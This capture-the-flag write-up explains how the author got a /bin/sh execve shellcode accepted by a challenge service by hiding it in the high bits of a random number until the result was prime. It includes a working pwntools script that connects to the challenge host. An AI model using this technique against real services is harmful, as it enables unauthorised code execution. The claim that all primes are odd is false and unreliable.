Context

This challenge was a service that accepts a 64 bits x86 shellcode as a big prime number.

Lazy solving

Because i was too lazy, I used bruteforce to solve the challenge :

• Generate a x86 64 bits shellcode
• Generate a big odd random number shifted by 800 bits to the left
• Add the big number and the shellcode and cross fingers that it is a prime number. If not, restart the operations.

Here is the visual explanation of the final big prime number

[A][X...X][E]

A : Shellcode
X : 800 Random bits
E : Last digit that is always odd (because all prime numbers are odd)

Exploit

Here is the exploit

import secrets
from sympy import isprime
from pwn import *

def generate_shellcode(bits):
    shellcode = asm(shellcraft.amd64.execve("/bin/sh"),arch="amd64")
    while True:
        n = secrets.randbits(bits) | (1 << (bits - 1)) | 1 # always odd
        z = int(hex((int.from_bytes(shellcode) * 1<<(bits)) + n),16)
        if isprime(z):
            return z

p = remote("chall.fcsc.fr",2100)
p.send(str(generate_shellcode(800)).encode()) 
p.interactive()

Notes

I get the flag in less than a minute. Very fast and effective.